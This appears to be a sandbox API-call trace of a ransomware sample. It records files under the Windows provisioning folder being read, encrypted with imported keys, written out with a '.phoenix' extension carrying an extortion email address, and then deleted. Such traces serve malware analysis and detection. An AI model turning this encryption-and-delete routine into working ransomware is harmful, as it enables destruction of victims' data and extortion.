	[0226.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.905] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.906] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.906] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.906] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.919] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0226.919] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.919] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x13d8, lpOverlapped=0x0) returned 1
	[0226.936] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x13e0, dwBufLen=0x13e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x13e0) returned 1
	[0226.937] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x13e0, lpOverlapped=0x0) returned 1
	[0226.938] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0226.938] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.939] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0226.939] CryptDestroyKey (hKey=0x151500) returned 1
	[0226.939] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0226.939] CryptDestroyKey (hKey=0x151140) returned 1
	[0226.939] CloseHandle (hObject=0x2c8) returned 1
	[0226.939] CloseHandle (hObject=0x2e4) returned 1
	[0226.940] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml")) returned 1
	[0226.941] SetEvent (hEvent=0x298) returned 1
	[0226.941] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.941] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.941] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0226.942] CloseHandle (hObject=0x2e4) returned 1
	[0226.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml")) returned 0x20
	[0226.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.942] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.942] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.942] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0226.942] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.942] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0226.944] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0226.944] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0226.945] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0226.945] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.945] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0226.945] CryptDestroyKey (hKey=0x151280) returned 1
	[0226.945] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0226.951] CryptDestroyKey (hKey=0x151080) returned 1
	[0226.951] CloseHandle (hObject=0x2e4) returned 1
	[0226.951] CloseHandle (hObject=0x2c8) returned 1
	[0226.952] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml")) returned 1
	[0226.953] SetEvent (hEvent=0x298) returned 1
	[0226.953] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.953] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.954] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=575) returned 1
	[0226.954] CloseHandle (hObject=0x2c8) returned 1
	[0226.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml")) returned 0x20
	[0226.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.954] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.954] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.954] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.954] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.954] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0226.954] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.954] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x23f, lpOverlapped=0x0) returned 1
	[0226.956] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x240, dwBufLen=0x240 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x240) returned 1
	[0226.956] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x240, lpOverlapped=0x0) returned 1
	[0226.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0226.957] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.957] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0226.957] CryptDestroyKey (hKey=0x151280) returned 1
	[0226.957] WriteFile (in: hFile=0x2e4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0226.957] CryptDestroyKey (hKey=0x151640) returned 1
	[0226.957] CloseHandle (hObject=0x2c8) returned 1
	[0226.957] CloseHandle (hObject=0x2e4) returned 1
	[0226.958] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml")) returned 1
	[0226.959] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0226.959] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.959] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=845) returned 1
	[0226.959] CloseHandle (hObject=0x2e4) returned 1
	[0226.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml")) returned 0x20
	[0226.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0226.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0226.960] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.960] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0226.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0226.961] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0226.961] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.961] ReadFile (in: hFile=0x2e4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x34d, lpOverlapped=0x0) returned 1
	[0226.989] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x350, dwBufLen=0x350 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x350) returned 1
	[0226.989] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x350, lpOverlapped=0x0) returned 1
	[0226.990] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0226.990] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0226.990] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0226.990] CryptDestroyKey (hKey=0x151640) returned 1
	[0226.990] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0226.990] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0226.990] CloseHandle (hObject=0x2e4) returned 1
	[0226.990] CloseHandle (hObject=0x2c8) returned 1
	[0226.992] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml")) returned 1
	[0227.092] SetEvent (hEvent=0x298) returned 1
	[0227.093] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.093] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.186] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=258) returned 1
	[0227.186] CloseHandle (hObject=0x2e8) returned 1
	[0227.186] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml")) returned 0x20
	[0227.187] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.187] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.187] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.187] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0227.187] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0227.187] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0227.187] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.187] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x102, lpOverlapped=0x0) returned 1
	[0227.189] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0227.189] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0227.190] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151140) returned 1
	[0227.190] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0227.190] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0227.190] CryptDestroyKey (hKey=0x151140) returned 1
	[0227.190] WriteFile (in: hFile=0x2cc, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0227.191] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0227.191] CloseHandle (hObject=0x2e8) returned 1
	[0227.191] CloseHandle (hObject=0x2cc) returned 1
	[0227.191] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\prov\\runtime.xml")) returned 1
	[0227.192] SetEvent (hEvent=0x298) returned 1
	[0227.193] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0227.193] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0227.193] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=896) returned 1
	[0227.193] CloseHandle (hObject=0x2cc) returned 1
	[0227.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml")) returned 0x20
